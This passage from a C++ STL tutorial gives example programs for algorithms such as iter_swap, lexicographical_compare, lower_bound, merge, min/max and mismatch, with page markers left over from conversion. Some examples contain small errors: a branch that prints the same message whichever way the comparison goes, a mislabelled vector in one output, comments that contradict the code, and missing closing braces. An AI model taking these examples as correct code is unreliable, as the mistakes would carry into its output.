for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, iter_swap()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{ m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{ return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt(" <<rhs.m_nVal<< ")";
return osIn;
}

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

file:///C|/Tutorial.txt (536 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
CInt c1 = 9, c2 = 12, c3 = 17;
deque<CInt> deq;
deque<CInt>::iterator deqIter;

deq.push_back(c1);
deq.push_back(c2);
deq.push_back(c3);

cout<<"The deque of CInts data is:\n";


for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Exchanging first and last elements with iter_swap


iter_swap(deq.begin(), --deq.end());
cout<<"\nThe deque of CInts data with first and last\nelements swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Swapping back first and last elements with swap


swap(*deq.begin(), *(deq.end() -1));

cout<<"\nThe deque of CInts data with first and last\nelements re swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Swapping a vector element with a deque element


vector <int> vec;
vector <int>::iterator Iter1;
deque <int> deq1;
deque <int>::iterator deq1Iter;

int i;
for(i = 10; i <= 14; i++)
vec.push_back(i);

int j;
for(j = 16; j <= 20; j++)
deq1.push_back(j);

cout<<"\nVector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nDeque deq1 data: ";


for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";

file:///C|/Tutorial.txt (537 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<endl;

iter_swap(vec.begin(), deq1.begin());
cout<<"\nAfter exchanging first elements,\nvector vec data is: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl<<"and deque deq1 data is: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, lexicographical_compare()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return (2*elem1) < elem2;}

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

int j;
for(j = 0; j <= 6; j++)
lst.push_back(5*j);

int k;
for(k = 0; k <= 5; k++)
vec2.push_back(10*k);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst data: ";


for(lst_Iter = lst.begin(); lst_Iter != lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";

file:///C|/Tutorial.txt (538 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)


cout<<*Iter2<<" ";
cout<<endl;

//Self lexicographical_comparison of vec1 under identity


cout<<"\nOperation: lexicographical_compare(vec1.begin(),\nvec1.end(), vec2.begin(), vec2.end()).\n";
bool result1;
result1 = lexicographical_compare(vec1.begin(), vec1.end(), vec2.begin(), vec2.end());
if(result1)
cout<<"Vector vec1 is lexicographically_less than vec2."<<endl;
else
cout<<"Vector vec1 is not lexicographically_less than vec2."<<endl;

//lexicographical_comparison of vec1 and lst under identity


cout<<"\nOperation: lexicographical_compare(vec1.begin(),\nvec1.end(), lst.begin(), lst.end()).\n";
bool result2;
result2 = lexicographical_compare(vec1.begin(), vec1.end(), lst.begin(), lst.end());
if(result2)
cout<<"Vector vec1 is lexicographically_less than lst."<<endl;
else
cout<<"Vector vec1 is lexicographically_less than lst."<<endl;

cout<<"\nOperation: lexicographical_compare(vec1.begin(),\nvec1.end(), vec2.begin(), vec2.end(), twice).\n";


bool result3;
result3 = lexicographical_compare(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);
if(result3)
cout<<"Vector vec1 is lexicographically_less than\nvec2 based on twice."<<endl;
else
cout<<"Vector vec1 is not lexicographically_less than\nvec2 based on twice."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, lower_bound()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, Result1;

file:///C|/Tutorial.txt (539 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -3; i <= 6; i++)
vec1.push_back(i);

int j;
for(j =-5; j <= 2; j++)
vec1.push_back(j);

cout<<"Operation: sort(vec1.begin(), vec1.end()).\n";


sort(vec1.begin(), vec1.end());
cout<<"vector vec1 data with range sorted by the "
<<"binary predicate\nless than is: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Constructing vectors vec2 with range sorted by greater


vector <int> vec2(vec1);
vector <int>::iterator Iter2, Result2;

cout<<"\nOperation: sort(vec2.begin(), vec2.end(), greater<int>()).\n";


sort(vec2.begin(), vec2.end(), greater<int>());
cout<<"vector vec2 data with range sorted by the "
<<"binary predicate\ngreater is: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Constructing vectors vec3 with range sorted by mod_lesser


vector <int> vec3(vec1);
vector <int>::iterator Iter3, Result3;

cout<<"\nOperation: sort(vec3.begin(), vec3.end(), mod_lesser).\n";


sort(vec3.begin(), vec3.end(), mod_lesser);
cout<<"vector vec3 data with range sorted by the "
<<"binary predicate\nmod_lesser is: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

//lower_bound of 5 in vec1 with default binary predicate less <int>()


cout<<"\nOperation: lower_bound(vec1.begin(), vec1.end(), 5).\n";
Result1 = lower_bound(vec1.begin(), vec1.end(), 5);
cout<<"The lower_bound in vec2 for the\nelement with a value of 5 is: "<<*Result1<<endl;

//lower_bound of 5 in vec2 with the binary predicate greater<int>()


Result2 = lower_bound(vec2.begin(), vec2.end(), 5, greater<int>());
cout<<"The lower_bound in vec2 for the\nelement with a value of 5 is: "<<*Result2<<endl;

//lower_bound of 5 in vec3 with the binary predicate mod_lesser


cout<<"\nOperation: lower_bound(vec3.begin(), vec3.end(), 5, mod_lesser).\n";
Result3 = lower_bound(vec3.begin(), vec3.end(), 5, mod_lesser);
cout<<"The lower_bound in vec3 for the\nelement with a value of 5 is: "<<*Result3<<endl;
return 0;

file:///C|/Tutorial.txt (540 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

-----------------------------------------------------------------------------------------------------

//algorithm, make_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);

cout<<"Opertion: random_shuffle(vec1.begin(), vec1.end()).\n";


random_shuffle(vec1.begin(), vec1.end());
cout<<"Vector vec1 is data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Make vec1 a heap with default less than ordering


cout<<"\nOpertion: make_heap(vec1.begin(), vec1.end()).\n";
make_heap(vec1.begin(), vec1.end());
cout<<"The heaped version of vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Make vec1 a heap with greater than ordering


cout<<"\nOpertion: make_heap(vec1.begin(), vec1.end(), greater<int>()).\n";
make_heap(vec1.begin(), vec1.end(), greater<int>());
cout<<"The greater-than heaped version of vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, max()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

file:///C|/Tutorial.txt (541 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<( const CInt& rhs ) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;
}

//Return whether modulus of elem1 is greater than modulus of elem2


bool mod_greater(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 > elem2);
};

int main()
{
//Comparing integers directly using the max algorithm
int a = 11, b = -12, c = 20;
const int& result1 = max(a, b, mod_greater);
const int& result2 = max(b, c);

cout<<"The mod_greater of the integers 11 and -12 is: "<<result1<<endl;


cout<<"The larger of the integers -12 and 20 is: "<<result2<<endl;
cout<<endl;

//Comparing set containers with elements of type CInt


//using the max algorithm
CInt c1 = 1, c2 = 2, c3 = 3;
set<CInt> st1, st2, st3;
set<CInt>::iterator st1_Iter, st2_Iter, st3_Iter;

st1.insert(c1);
st1.insert(c2);
st2.insert(c2);
st2.insert(c3);

cout<<"st1 data: (";


for(st1_Iter = st1.begin(); st1_Iter != --st1.end(); st1_Iter++)

file:///C|/Tutorial.txt (542 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<*st1_Iter<<",";
st1_Iter = --st1.end();
cout<<*st1_Iter<<")."<<endl;

cout<<"st2 data: (";


for(st2_Iter = st2.begin(); st2_Iter != --st2.end(); st2_Iter++)
cout<<*st2_Iter<<",";
st2_Iter = --st2.end();
cout<<*st2_Iter<<")."<<endl;

st3 = max(st1, st2);


cout<<"st3 = max(st1, st2) = (";
for(st3_Iter = st3.begin(); st3_Iter != --st3.end(); st3_Iter++)
cout<<*st3_Iter<<",";
st3_Iter = --st3.end();
cout<<*st3_Iter<<")."<<endl;

//Comparing vectors with integer elements using the max algorithm


vector <int> vec1, vec2, vec3, vec4, vec5;
vector <int>::iterator Iter1, Iter2, Iter3, Iter4, Iter5;

int i;
for(i = 0; i <= 3; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 4; j++)
vec2.push_back(j);

int k;
for(k = 0; k <= 2; k++)
vec3.push_back(2*k);

cout<<"\nVector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

cout<<"Vector vec3 data: ";


for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

vec4 = max(vec1, vec2);


vec5 = max(vec1, vec3);

cout<<"Vector vec4 = max(vec1,vec2) is: ";


for(Iter4 = vec4.begin(); Iter4 != vec4.end(); Iter4++)
cout<<*Iter4<<" ";
cout<<endl;

file:///C|/Tutorial.txt (543 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"Vector vec5 = max(vec1,vec3) is: ";


for(Iter5 = vec5.begin(); Iter5 != vec5.end(); Iter5++)
cout<<*Iter5<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, max_element()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;
}

//Return whether modulus of elem1 is greater than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()
{
//Searching a set container with elements of type CInt
//for the maximum element
CInt c1 = 1, c2 = 2, c3 = -3;
set<CInt> st1;

file:///C|/Tutorial.txt (544 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

set<CInt>::iterator st1_Iter, st2_Iter, st3_Iter;

st1.insert(c1);
st1.insert(c2);
st1.insert(c3);

cout<<"st1 data: ";


for(st1_Iter = st1.begin(); st1_Iter != --st1.end(); st1_Iter++)
cout<<" "<<*st1_Iter<<",";
st1_Iter = --st1.end();
cout<<" "<<*st1_Iter<<endl;

st2_Iter = max_element(st1.begin(), st1.end());

cout<<"The largest element in st1 is: "<<*st2_Iter<<endl;


cout<<endl;

//Searching a vector with elements of type int for the maximum


//element under default less than & mod_lesser binary predicates
vector <int> vec;
vector <int>::iterator vec_Iter, vec1_Iter, vec2_Iter;

int i;
for(i = 0; i <= 3; i++)
vec.push_back(i);

int j;
for(j = 1; j <= 4; j++)
vec.push_back(-j);

cout<<"Vector vec data: ";


for(vec_Iter = vec.begin(); vec_Iter != vec.end(); vec_Iter++)
cout<<*vec_Iter<<" ";
cout<<endl;

vec1_Iter = max_element(vec.begin(), vec.end());


vec2_Iter = max_element(vec.begin(), vec.end(), mod_lesser);

cout<<"The largest element in vec is: "<<*vec1_Iter<<endl;


cout<<"The largest element in vec under the\nmod_lesser"
<<" binary predicate is: "<<*vec2_Iter<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, merge()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)

file:///C|/Tutorial.txt (545 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1;

//Constructing vector vec1a and vec1b with default less than ordering
int i;
for(i = 0; i <= 5; i++)
vec1a.push_back(i);

int j;
for(j =-5; j <= 0; j++)
vec1b.push_back(j);

cout<<"vector vec1a data with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1a = vec1a.begin(); Iter1a != vec1a.end(); Iter1a++)
cout<<*Iter1a<<" ";
cout<<endl;

cout<<"vector vec1b data with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1b = vec1b.begin(); Iter1b != vec1b.end(); Iter1b++)
cout<<*Iter1b<<" ";
cout<<endl;

//Constructing vector vec2 with ranges sorted by greater


vector <int> vec2a(vec1a), vec2b(vec1b), vec2(vec1);
vector <int>::iterator Iter2a, Iter2b, Iter2;
sort(vec2a.begin(), vec2a.end(), greater<int>());
sort(vec2b.begin(), vec2b.end(), greater<int>());

cout<<"vector vec2a data with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2a = vec2a.begin(); Iter2a != vec2a.end(); Iter2a++)
cout<<*Iter2a<<" ";
cout<<endl;

cout<<"vector vec2b data with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2b = vec2b.begin(); Iter2b != vec2b.end(); Iter2b++)
cout<<*Iter2b<<" ";
cout<<endl;

//Constructing vector vec3 with ranges sorted by mod_lesser


vector <int> vec3a(vec1a), vec3b(vec1b), vec3(vec1);
vector <int>::iterator Iter3a, Iter3b, Iter3;
sort(vec3a.begin(), vec3a.end(), mod_lesser);

file:///C|/Tutorial.txt (546 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

sort(vec3b.begin(), vec3b.end(), mod_lesser);

cout<<"vector vec3a data with range sorted by the\n"


<<"binary predicate mod_lesser is: ";
for(Iter3a = vec3a.begin(); Iter3a != vec3a.end(); Iter3a++)
cout<<*Iter3a<<" ";
cout<<endl;

cout<<"vector vec3b data with range sorted by the\n"


<<"binary predicate mod_lesser is: ";
for(Iter3b = vec3b.begin(); Iter3b != vec3b.end(); Iter3b++)
cout<<*Iter3b<<" ";
cout<<endl;

//To merge in ascending order with default binary


//predicate less <int>()
cout<<"\nOperation: merge(vec1a.begin(),vec1a.end(),\nvec1b.begin(),vec1b.end(),vec1.begin()).\n";
merge(vec1a.begin(), vec1a.end(), vec1b.begin(), vec1b.end(), vec1.begin());
cout<<"vector vec1merg data, merged with default order:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To merge in descending order, specify binary


//predicate greater<int>()
cout<<"\nOperation: merge(vec2a.begin(),vec2a.end(),\nvec2b.begin(),vec2b.end(),vec2.begin(),greater<int>()).\n";
merge(vec2a.begin(), vec2a.end(), vec2b.begin(), vec2b.end(), vec2.begin(), greater<int>());
cout<<"vector vec2merg data, merged with binary predicate\ngreater is: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Applying a user-defined binary predicate mod_lesser


cout<<"\nOperation: merge(vec3a.begin(),vec3a.end(),\nvec3b.begin(),vec3b.end(),vec3.begin(),mod_lesser).\n";
merge(vec3a.begin(), vec3a.end(), vec3b.begin(), vec3b.end(), vec3.begin(), mod_lesser);
cout<<"vector vec3merg data, merged with binary predicate\nmod_lesser is: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, min()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{

file:///C|/Tutorial.txt (547 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{
m_nVal = rhs.m_nVal;
return *this;
}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;
}

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()
{
//Comparing integers directly using the min algorithm with
//binary predicate mod_lesser & with default less than
int a = 9, b = -12, c = 12;
const int& result1 = min(a, b, mod_lesser);
const int& result2 = min(b, c);

cout<<"The mod_lesser of the integers 9 and -12 is: "<<result1<<endl;


cout<<"The lesser of the integers -12 and 12 is: "<<result2<<endl;
cout<<endl;

//Comparing set containers with elements of type CInt


//using the min algorithm
CInt ci1 = 2, ci2 = 3, ci3 = 4;
set<CInt> st1, st2, st3;
set<CInt>::iterator st1Iter, st2Iter, st3Iter;

st1.insert(ci1);
st1.insert(ci2);
st2.insert(ci2);
st2.insert(ci3);

cout<<"st1 data: (";

file:///C|/Tutorial.txt (548 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

for(st1Iter = st1.begin(); st1Iter != --st1.end(); st1Iter++)


cout<<*st1Iter<<",";
st1Iter = --st1.end();
cout<<*st1Iter<<")"<<endl;

cout<<"st2 data: (";


for(st2Iter = st2.begin(); st2Iter != --st2.end(); st2Iter++)
cout<<*st2Iter<<",";
st2Iter = --st2.end();
cout<<*st2Iter<<")"<<endl;

st3 = min(st1, st2);


cout<<"st3 = min(st1, st2) data: (";
for(st3Iter = st3.begin(); st3Iter != --st3.end(); st3Iter++)
cout<<*st3Iter<<",";
st3Iter = --st3.end();
cout<<*st3Iter<<")"<<endl;

//Comparing vectors with integer elements using min algorithm


vector <int> vec1, vec2, vec3, vec4, vec5;
vector <int>::iterator Iter1, Iter2, Iter3, Iter4, Iter5;

int i;
for(i = 1; i <= 4; i++)
vec1.push_back(i);

int j;
for(j = 1; j <= 3; j++)
vec2.push_back(j);

int k;
for(k = 1; k <= 3; k++)
vec3.push_back(2*k);

cout<<"\nVector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

cout<<"Vector vec3 data: ";


for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

cout<<"\nOperation: vec4 = min(vec1, vec2).\n";


vec4 = min(vec1, vec2);
cout<<"Vector vec4 = min(vec1,vec2) data: ";
for(Iter4 = vec4.begin(); Iter4 != vec4.end(); Iter4++)
cout<<*Iter4<<" ";
cout<<endl;

file:///C|/Tutorial.txt (549 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nOperation: vec5 = min(vec1, vec3).\n";


vec5 = min(vec1, vec3);
cout<<"Vector vec5 = min(vec1,vec3) data: ";
for(Iter5 = vec5.begin(); Iter5 != vec5.end(); Iter5++)
cout<<*Iter5<<" ";
cout<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, min_element()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal( rhs.m_nVal ){}
CInt& operator=(const CInt& rhs)
{
m_nVal = rhs.m_nVal;
return *this;
}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;
}

//Return whether modulus of elem1 is greater than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()

file:///C|/Tutorial.txt (550 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
//Searching a set container with elements of type CInt
//for the minimum element
CInt ci1 = 4, ci2 = 12, ci3 = -4;
set<CInt> st1;
set<CInt>::iterator st1Iter, st2Iter, st3Iter;

st1.insert(ci1);
st1.insert(ci2);
st1.insert(ci3);

cout<<"st1 data: ";


for(st1Iter = st1.begin(); st1Iter != --st1.end(); st1Iter++)
cout<<*st1Iter<<",";
st1Iter = --st1.end();
cout<<*st1Iter<<endl;

cout<<"\nOperation: min_element(st1.begin(), st1.end()).\n";


st2Iter = min_element(st1.begin(), st1.end());
cout<<"The smallest element in st1 is: "<<*st2Iter<<endl;

//Searching a vector with elements of type int for the maximum


//element under default less than & mod_lesser binary predicates
vector <int> vec1;
vector <int>::iterator vec1Iter, vec2Iter, vec3Iter;

int i;
for(i = 1; i <= 4; i++)
vec1.push_back(i);

int j;
for(j = 1; j <= 5; j++)
vec1.push_back(-2*j);

cout<<"\nVector vec1 data: ";


for(vec1Iter = vec1.begin(); vec1Iter != vec1.end(); vec1Iter++)
cout<<*vec1Iter<<" ";
cout<<endl;

cout<<"\nOperation: min_element(vec1.begin(), vec1.end()).\n";


vec2Iter = min_element(vec1.begin(), vec1.end());
cout<<"The smallest element in vec1 is: "<<*vec2Iter<<endl;

cout<<"\nOperation: min_element(vec1.begin(), vec1.end(), mod_lesser).\n";


vec3Iter = min_element(vec1.begin(), vec1.end(), mod_lesser);
cout<<"The smallest element in vec1 based on the mod_lesser"
<<"\nbinary predicate is: "<<*vec3Iter<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, mismatch()
#include <vector>
#include <list>
#include <algorithm>

file:///C|/Tutorial.txt (551 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{ return (elem1 * 2 == elem2);}

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

int j;
for(j = 0; j <= 7; j++)
lst.push_back(5*j);

int k;
for(k = 0; k <= 5; k++)
vec2.push_back(10*k);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst data: ";


for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Testing vec1 and lst for mismatch under identity


pair<vector <int>::iterator, list <int>::iterator> result1;
result1 = mismatch(vec1.begin(), vec1.end(), lst.begin());

cout<<"\nOperation: mismatch(vec1.begin(), vec1.end(), lst.begin()).\n";


if(result1.first == vec1.end())
cout<<"The two ranges do not differ."<<endl;
else
cout<<"The fist mismatch is between "<<*result1.first<<" and "<<*result1.second<<endl;

//Modifying the lst


cout<<"\nDo some operation on the lst...\n";
lst_inIter = lst.begin();
lst_inIter++;
lst_inIter++;

file:///C|/Tutorial.txt (552 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

lst.insert(lst_inIter, 70);
cout<<"The modified lst data: ";
for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

//Testing vec1 with modified lst for mismatch under identity


cout<<"\nOperationa: mismatch(vec1.begin(), vec1.end(), lst.begin())\n";
result1 = mismatch(vec1.begin(), vec1.end(), lst.begin());
if(result1.first == vec1.end())
cout<<"The two ranges do not differ."<<endl;
else
cout<<"The first mismatch is between "<<*result1.first<<" and "<<*result1.second<< endl;

//Test vec1 and vec2 for mismatch under the binary predicate twice
pair<vector <int>::iterator, vector <int>::iterator> result2;
cout<<"\nOperation: mismatch(vec1.begin(), vec1.end(), vec2.begin(), twice).\n";
result2 = mismatch(vec1.begin(), vec1.end(), vec2.begin(), twice);
if(result2.first == vec1.end())
cout<<"The two ranges do not differ based on the\nbinary predicate twice."<<endl;
else
cout<<"The first mismatch is between "<<*result2.first<<" and "<<*result2.second<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------------

//algorithm, next_permutation()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;

file:///C|/Tutorial.txt (553 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()
{
//Reordering the elements of type CInt in a deque
//using the prev_permutation algorithm
CInt ci1 = 7, ci2 = 5, ci3 = 17;
bool deq1Result;
